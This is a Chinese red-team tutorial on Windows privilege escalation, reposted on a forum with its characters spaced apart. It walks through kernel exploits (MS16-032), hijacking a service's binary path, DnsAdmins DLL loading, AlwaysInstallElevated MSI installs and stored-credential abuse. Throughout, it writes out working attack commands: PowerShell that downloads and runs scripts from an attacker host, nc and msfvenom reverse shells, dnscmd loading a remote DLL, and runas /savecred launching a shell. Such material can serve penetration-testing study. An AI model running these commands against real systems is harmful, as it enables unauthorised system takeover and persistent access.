搜索

[20359] 2020-08-11_红队测试之Windows提权小结

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2020-08-11_红队测试之Windows提权小结 红 队 测 试 之 W i n d o w s 提 权 小 结 K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 0 8 - 1 1 以 下 文 章 来 源 于 酒 仙 桥 六 号 部 队   ， 作 者 队 员 编 号 0 5 7 这 是   酒 仙 桥 六 号 部 队 酒 仙 桥 六 号 部 队   的 第   5 7   篇 文 章 。 全 文 共 计 2 7 0 2 个 字 ， 预 计 阅 读 时 长 1 0 分 钟 。 本 文 与 “ 酒 仙 桥 六 号 部 队 ” 的 公 众 号 文 章 《 红 队 测 试 之 L i n u x 提 权 小 结 》 是 兄 弟 篇 ， 本 节 主 要 针 对 W i n d o w s 操 作 系 统 下 的 权 限 提 升 进 行 介 绍 ， 提 权 是 后 渗 透 重 要 的 一 环 节 ， 在 权 限 较 低 的 情 况 下 ， 站 在 攻 击 者 的 视 角 进 行 内 部 网 络 安 全 测 试 、 系 统 安 全 测 试 、 应 用 安 全 测 试 等 方 面 会 出 现 “ 束 缚 ” ， 所 测 试 出 的 质 量 与 结 果 也 会 不 同 。 本 文 基 于 W i n 操 作 系 统 下 分 别 从 内 核 漏 洞 、 权 限 配 置 、 D L L 注 入 、 注 册 表 等 方 面 展 开 介 绍 ， 其 中 包 含 漏 洞 本 身 的 介 绍 、 漏 洞 复 现 过 程 等 内 容 的 展 现 。 该 提 权 内 容 的 阅 读 没 有 前 后 顺 序 ， 可 根 据 读 者 自 身 所 需 进 行 全 文 阅 读 或 某 方 向 内 容 的 阅 读 。 提 权 背 景 提 权 背 景 权 限 提 升 意 味 着 用 户 获 得 不 允 许 他 使 用 的 权 限 。 比 如 从 一 个 普 通 用 户 ， 通 过 “ 手 段 ” 让 自 己 变 为 管 理 员 用 户 ， 也 可 以 理 解 为 利 用 操 作 系 统 或 软 件 应 用 程 序 中 的 错 误 ， 设 计 缺 陷 或 配 置 错 误 来 获 得 对 更 高 访 问 权 限 的 行 为 。 为 什 么 我 们 需 要 提 权 为 什 么 我 们 需 要 提 权 读 取 / 写 入 敏 感 文 件 重 新 启 动 之 后 权 限 维 持 插 入 永 久 后 门 W i n d o w s 提 权 的 常 见 方 法 提 权 的 常 见 方 法 1 .   内 核 漏 洞 2 .   错 误 的 服 务 权 限 配 置 3 .   D L L 注 入 4 .   始 终 以 高 权 限 安 装 程 序 5 .   凭 证 存 储 内 核 漏 洞 内 核 漏 洞 漏 洞 介 绍 漏 洞 介 绍 内 核 漏 洞 利 用 程 序 是 利 用 内 核 漏 洞 来 执 行 具 有 更 高 权 限 的 任 意 代 码 的 程 序 。 成 功 的 内 核 利 用 通 常 会 以 r o o t 命 令 提 示 符 的 形 式 为 攻 击 者 提 供 对 目 标 系 统 的 超 级 用 户 访 问 权 限 。 酒 仙 桥 六 号 部 队 酒 仙 桥 六 号 部 队   . 知 其 黑 ， 守 其 白 。   分 享 知 识 盛 宴 ， 闲 聊 大 院 趣 事 ， 备 好 酒 肉 等 你 ！
漏 洞 复 现 漏 洞 复 现 接 下 来 我 们 以 M S 1 6 - 0 3 2 来 做 演 示 。 给 大 家 介 绍 下 检 查 W i n d o w s 提 权 辅 助 工 具 ， w e s n g 主 要 帮 助 检 测 W i n d o w s 安 全 缺 陷 ， 是 W i n d o w s   E x p l o i t   S u g g e s t e r s 的 升 级 版 ， 通 过 读 取 加 载 s y s t e m i n f o 命 令 的 结 果 来 输 出 漏 洞 利 用 建 议 。 1 .   将 w e s n g 下 载 到 本 地 主 机 上 ， 先 升 级 最 新 的 漏 洞 数 据 库 。 p y t h o n   w e s . p y   - - u p d a t e 2 .   将 目 标 机 器 的 s y s t e m i n f o 命 令 的 结 果 输 出 并 保 存 ， 使 用 w e s n g 进 行 检 查 。 发 现 只 安 装 3 个 补 丁 ， 可 以 查 看 输 出 结 果 来 找 对 应 的 漏 洞 利 用 代 码 。 3 . 下 载 h t t p s : / / w w w . e x p l o i t - d b . c o m / e x p l o i t s / 3 9 7 1 9 里 面 的 漏 洞 利 用 。 使 用 p o w e r s h e l l 下 载 漏 洞 利 用 代 码 并 执 行 。 h t t p s : / / g i t h u b . c o m / b i t s a d m i n / w e s n g . g i t P o w e r s h e l l   I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / X . X . X . X : 8 0 0 0 / m s 1 6 - 0 3 2 . p s 1 ' ) ; I n v o k e - M S 1 6 - 0 3 2
错 误 的 服 务 权 限 配 置 错 误 的 服 务 权 限 配 置 漏 洞 介 绍 漏 洞 介 绍 M i c r o s o f t   W i n d o w s   服 务 （ 即 以 前 的   N T   服 务 ） 能 够 创 建 可 长 时 间 运 行 的 可 执 行 应 用 程 序 。 这 些 服 务 可 以 在 计 算 机 启 动 时 自 动 启 动 ， 可 以 暂 停 和 重 新 启 动 而 且 不 显 示 任 何 用 户 界 面 。 这 种 服 务 非 常 适 合 在 服 务 器 上 使 用 ， 或 任 何 时 候 ， 为 了 不 影 响 在 同 一 台 计 算 机 上 工 作 的 其 他 用 户 ， 需 要 长 时 间 运 行 功 能 时 使 用 。 还 可 以 在 不 同 登 录 用 户 的 特 定 用 户 帐 户 或 默 认 计 算 机 帐 户 的 安 全 上 下 文 中 运 行 服 务 。 W i n d o w s 服 务 ( W i n d o w s   S e r v i c e s ) 通 常 使 用 本 地 系 统 账 户 启 动 。 如 果 我 们 拥 有 可 以 修 改 服 务 配 置 权 限 的 话 ， 可 以 将 服 务 启 动 的 二 进 制 文 件 替 换 成 恶 意 的 二 进 制 文 件 ， 重 新 启 动 服 务 后 执 行 恶 意 的 二 进 制 文 件 ， 可 以 获 取 到 s y s t e m 权 限 。 漏 洞 复 现 漏 洞 复 现 1 . 首 先 需 要 在 找 到 存 在 配 置 权 限 错 误 的 服 务 ， 这 里 推 荐 大 家 使 用 p o w e r u p . p s 1 。 p o w e r u p 是 一 个 非 常 好 用 的 w i n d o w s 提 权 辅 助 脚 本 ， 可 以 检 查 各 种 服 务 滥 用 ， d l l 劫 持 ， 启 动 项 等 ， 来 枚 举 系 统 上 常 见 的 提 权 方 式 。 接 下 来 我 们 以 C V E - 2 0 1 9 - 1 3 2 2 进 行 演 示 ， U p d a t e   O r c h e s t r a t o r 服 务 的 运 行 方 式 为 N T   A U T H O R I T Y S Y S T E M ， 并 且 在 W i n d o w s   1 0 和 W i n d o w s   S e r v e r   2 0 1 9 上 已 默 认 启 用 。 首 先 使 用 p o w e r s h e l l 加 载 p o w e r u p . p s 1 ， 需 要 在 p o w e r u p . p s 1 结 尾 中 加 入 I n v o k e A l l c h e c k s 或 者 使 用 p o w e r s h e l l 执 行 时 加 载 ， 执 行 如 下 代 码 ： 发 现 U S O S V C 可 以 被 修 改 和 重 启 。 h t t p s : / / g i t h u b . c o m / P o w e r S h e l l M a f i a / P o w e r S p l o i t / t r e e / m a s t e r / P r i v e s c P o w e r s h e l l   - e x e c   b y p a s s   I E X ( n e w - o b j e c t   N e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 2 5 . 3 1 : 8 0 0 0 / P o w e r U p . p s 1 ' ) ;   I n v o k e A l l c h e c k s
2 . 接 下 来 我 们 上 传 n c ， 此 处 可 以 换 成 c s 或 m s f 生 成 的 任 意 可 执 行 文 件   ， 此 处 有 一 个 小 坑 ， b i n P a t h = 和 路 径 中 间 有 一 个 空 格 ， 修 改 服 务 启 动 的 可 执 行 程 序 后 ， 启 动 服 务 。 1 ） 停 止 U S O S V C   服 务 。 2 ） 将 服 务 执 行 的 e x e 文 件 修 改 为 n c ， 反 弹 s h e l l 。 3 ） 将 服 务 状 态 设 置 为 自 动 启 动 。 P S   C : W i n d o w s s y s t e m 3 2 >   s c   s t o p   U s o S v c P S   C : W i n d o w s s y s t e m 3 2 >   s c   c o n f i g   u s o s v c   b i n P a t h =   " C : G i t S t a c k g i t p h p n c . e x e   1 9 2 . 1 6 8 . 2 5 . 3 1   4 4 5 5   - e   c m d . e x e " P S   C : W i n d o w s s y s t e m 3 2 >   s c   c o n f i g   u s o s v c   s t a r t = a u t o  
4 ） 启 动 服 务 ： 按 部 就 班 的 执 行 。 设 置 并 开 启 服 务 。 D L L 注 入 提 权 注 入 提 权 漏 洞 介 绍 漏 洞 介 绍 D L L 注 入 提 权 是 一 种 利 用 应 用 程 序 错 误 加 载 D L L 的 技 术 。 可 以 使 用 此 技 术 来 实 现 提 权 以 及 持 久 控 制 。 首 先 ， 让 我 们 了 解 应 用 程 序 加 载 D L L 的 机 制 。 D L L 代 表 动 态 链 接 库 ， 它 是 一 个 库 文 件 ， 其 中 包 含 可 被 多 个 应 用 程 序 同 时 动 态 访 问 和 使 用 的 代 码 和 数 据 。 D L L 是 M i c r o s o f t 引 入 的 ， 用 于 实 现 共 享 库 的 概 念 。 漏 洞 复 现 漏 洞 复 现 如 果 一 个 用 户 是 D N S A d m i n s 组 成 员 ， 可 以 以 管 理 员 权 限 加 载 D L L ， 我 们 可 以 通 过 m s f v e n o m 来 生 成 一 个 反 弹 s h e l l 的 D L L 文 件 获 取 管 理 员 权 限 。 P S   C : W i n d o w s s y s t e m 3 2 >   s c   s t a r t   u s o s v c
1 .   首 先 查 看 我 们 的 用 户 权 限 ， 我 们 的 用 户 在 D N S A d m i n 组 里 面 。 2 . 使 用 m s f v e n o m 生 成 一 个 反 弹 s h e l l 。 3 .   在 攻 击 者 机 器 启 动 s m b 服 务 ， 通 过 U N C 来 读 取 攻 击 机 上 生 成 的 D L L 文 件 。 4 .   在 目 标 机 器 上 调 用 d n s c m d 来 执 行 加 载 远 程 D L L 文 件 ， 普 通 用 户 执 行 d n s c m s 可 能 会 失 败 。 M s f v e n o m   - p   w i n d o w s / x 6 4 / s h e l l _ r e v e r s e _ t c p   L H O S T = X . X . X . X   L P O R T = 4 4 3   - f   d l l   - o   r e v . d l l P S   C : U s e r s >   d n s c m d . e x e   / c o n f i g   / s e r v e r l e v e l p l u g i n d l l   X . X . X . X s r e v . d l l R e g i s t r y   p r o p e r t y   s e r v e r l e v e l p l u g i n d l l   s u c c e s s f u l l y   r e s e t . C o m m a n d   c o m p l e t e d   s u c c e s s f u l l y . P S   C : U s e r s >   s c . e x e   r e s o l u t e   s t o p   d n s S E R V I C E _ N A M E :   d n s                 T Y P E                               :   1 0     W I N 3 2 _ O W N _ P R O C E S S                 S T A T E                             :   3     S T O P _ P E N D I N G                                                                 ( S T O P P A B L E ,   P A U S A B L E ,   A C C E P T S _ S H U T D O W N )                 W I N 3 2 _ E X I T _ C O D E         :   0     ( 0 x 0 )                 S E R V I C E _ E X I T _ C O D E     :   0     ( 0 x 0 )
5 . 获 取 到 s y s t e m 权 限 的 s h e l l 。 注 册 表 键 提 权 注 册 表 键 提 权 漏 洞 介 绍 漏 洞 介 绍 A l w a y s I n s t a l l E l e v a t e d 是 一 项 功 能 ， 可 为 W i n d o w s 计 算 机 上 的 所 有 用 户 （ 尤 其 是 低 特 权 用 户 ） 提 供 运 行 任 何 具 有 高 权 限 的 M S I 文 件 的 功 能 。 M S I 是 基 于 M i c r o s o f t 的 安 装 程 序 软 件 包 文 件 格 式 ， 用 于 安 装 ， 存 储 和 删 除 程 序 。 通 过 组 策 略 中 的 w i n d o w s   i n s t a l l e r 来 进 行 配 置 ， 默 认 情 况 下 该 配 置 是 关 闭 的 。 漏 洞 复 现 漏 洞 复 现 1 .   首 先 需 要 检 查 计 算 机 是 否 开 启 了 该 配 置 ， 也 可 以 通 过 执 行 p o w e r u p . p s 1 来 检 查 权 限 。                 S E R V I C E _ E X I T _ C O D E     :   0     ( 0 x 0 )                 C H E C K P O I N T                   :   0 x 1                 W A I T _ H I N T                     :   0 x 7 5 3 0 *     P S   C : U s e r s >   s c . e x e   r e s o l u t e   s t a r t   d n s S E R V I C E _ N A M E :   d n s                 T Y P E                               :   1 0     W I N 3 2 _ O W N _ P R O C E S S                 S T A T E                             :   2     S T A R T _ P E N D I N G                                                                 ( N O T _ S T O P P A B L E ,   N O T _ P A U S A B L E ,   I G N O R E S _ S H U T D O W N )                 W I N 3 2 _ E X I T _ C O D E         :   0     ( 0 x 0 )                 S E R V I C E _ E X I T _ C O D E     :   0     ( 0 x 0 )                 C H E C K P O I N T                   :   0 x 0                 W A I T _ H I N T                     :   0 x 7 d 0                 P I D                                 :   2 6 4 4                 F L A G S                             : r e g   q u e r y   H K L M S O F T W A R E P o l i c i e s M i c r o s o f t W i n d o w s I n s t a l l e r   / v   A l w a y s I n s t a l l E l e v a t e d
2 .   使 用 m s f v e n o m 生 成 一 个 m s i 文 件 用 来 反 弹 s h e l l 。 3 .   安 装 m s i ， 获 取 反 弹 s h e l l 。 凭 证 存 储 凭 证 存 储 漏 洞 介 绍 漏 洞 介 绍 W i n d o w s 7 之 后 的 操 作 系 统 提 供 了 w i n d o w s 保 险 柜 功 能 ( W i n d o w s   V a u l t ) , W i n d o w 保 险 柜 存 储 W i n d o w s 可 以 自 动 登 录 用 户 的 凭 据 ， 这 意 味 着 需 要 凭 据 才 能 访 问 资 源 （ 服 务 器 或 网 站 ） 的 任 何 W i n d o w s 应 用 程 序 都 可 以 使 用 此 凭 据 管 理 器 和 W i n d o w s   V a u l t 并 使 用 提 供 的 凭 据 代 替 用 户 一 直 输 入 用 户 名 和 密 码 。 除 非 应 用 程 序 与 凭 据 管 理 器 进 行 交 互 ， 否 则 我 认 为 它 们 不 可 能 对 给 定 资 源 使 用 凭 据 。 因 此 ， 如 果 您 的 应 用 程 序 要 使 用 保 管 库 ， 则 应 以 某 种 方 式 与 凭 证 管 理 器 进 行 通 信 ， 并 从 默 认 存 储 保 管 库 中 请 求 该 资 源 的 凭 证 。 漏 洞 复 现 漏 洞 复 现 1 . 通 过 c m d k e y   / l i s t   列 出 存 储 的 所 有 用 户 的 凭 据 ， 发 现 a d m i n i s t r a t o r 凭 据 被 存 储 在 了 本 机 上 。 M s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   l h o s t = X . X . X . X   l p o r t = 4 5 6 7   - f   m s i   >   1 . m s i m s i e x e c   / q u i e t   / q n   / i   C : W i n d o w s T e m p 1 . m s i
2 . 使 用 r u n a s 来 以 管 理 员 权 限 启 动 n c 反 弹 s h e l l 。 3 . 在 攻 击 机 启 动 监 听 ， 获 取 反 弹 s h e l l 。 技 术 小 结 技 术 小 结 在 测 试 项 目 中 ， 测 试 人 员 通 常 会 设 法 获 取 s h e l l ， 然 后 再 进 行 下 一 步 的 操 作 ， 本 文 旨 在 给 大 家 提 供 一 些 从 普 通 权 限 到 s y s t e m 权 限 的 思 路 ， 基 本 总 结 如 下 ： R u n a s   / u s e r : a d m i n i s t r a t o r   / s a v e c r e d   " n c . e x e   - e   c m d . e x e   X . X . X . X   1 3 3 7 "
1 . 通 过 查 看 内 核 版 本 ， 寻 找 是 否 存 在 可 以 利 用 的 提 权 E X P 。 2 . 通 过 信 息 收 集 ， 查 看 机 器 配 置 ， 账 户 密 码 等 查 看 是 否 可 以 利 用 。 3 . 通 过 查 看 系 统 的 应 用 ， 或 者 第 三 方 应 用 ， 查 找 服 务 本 身 是 否 存 在 问 题 ， 或 者 是 否 配 置 存 在 问 题 ， 如 大 家 常 见 的 m y s q l 提 权 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理